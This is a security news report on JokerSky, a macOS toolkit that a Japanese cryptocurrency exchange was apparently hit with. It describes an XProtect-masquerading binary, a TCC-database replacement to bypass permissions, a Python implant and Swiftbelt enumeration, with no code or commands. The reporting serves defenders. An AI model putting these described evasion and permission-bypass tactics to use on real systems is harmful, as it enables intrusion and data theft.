JokerSky was first documented by Bitdefender last week, describing it as a sophisticated toolkit designed to breach macOS machines.

Very little is known about the threat actor behind the attacks other than the fact that the attacks leverage a set of programs written in Python and Swift that come with capabilities to gather data and execute arbitrary commands on compromised hosts.

A primary component of the toolkit is a self-signed multi-architecture binary known as xcc that's engineered to check for FullDiskAccess and ScreenRecording permissions.

The file is signed as XProtectCheck, indicating an attempt to masquerade as XProtect, a built-in antivirus technology within macOS that makes use of signature-based detection rules to remove malware from already infected hosts.

In the incident analyzed by Elastic, the creation of xcc is followed by the threat actor "attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one."

"On June 1, a new Python-based tool was seen executing from the same directory as xcc and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt," security researchers Colson Wilhoit, Salim Bitam, Seth Goodwin, Andrew Pease, and Ricardo Ungureanu said.

The attack targeted a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies. The name of the company was not disclosed.

The xcc binary, for its part, is launched by means of Bash via three different apps that are named IntelliJ IDEA, iTerm (a terminal emulator for macOS), and Visual Studio Code, indicating that backdoored versions of software development software are likely used to gain initial access.

Another notable module installed as part of the attack is sh.py, a Python implant that's used as a conduit to deliver other post-exploitation tools like Swiftbelt.

"Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts," the researchers said. "Notably, xcc variants are also written using Swift."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#intel